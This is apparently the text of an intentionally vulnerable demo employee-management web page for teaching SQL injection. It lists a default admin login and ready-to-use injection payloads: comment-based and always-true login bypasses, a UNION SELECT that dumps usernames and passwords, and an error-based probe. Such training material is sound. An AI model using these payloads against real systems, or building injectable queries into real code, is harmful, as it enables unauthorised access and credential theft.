Employee Management System

⚠️ DEMO VERSION - Contains SQL Injection Vulnerabilities (GET Method) for Educational Purposes

Current Date: 2025-06-15 09:50:36 UTC

Login

Normal Login:

Username: admin

Password: admin123

SQL Injection 1 (Comment out password):

Username: admin'--

Password: anything

URL: ?action=login&username=admin'--&password=anything

SQL Injection 2 (Always true):

Username: ' OR '1'='1

Password: ' OR '1'='1

URL: ?action=login&username=' OR '1'='1&password=' OR '1'='1

Search Name/Title:

Department:

1. Union Attack (Show Account data):

' UNION SELECT account_id,username,password,full_name,role,'','','','','','' FROM Account--

This will show usernames and passwords from Account table

2. Show all data:

' OR '1'='1

This will bypass the search filter

3. Error-based injection:

' AND (SELECT COUNT(*) FROM Account)>0--

This will reveal database structure

ID	Name	Email	Phone	Job Title	Department	Salary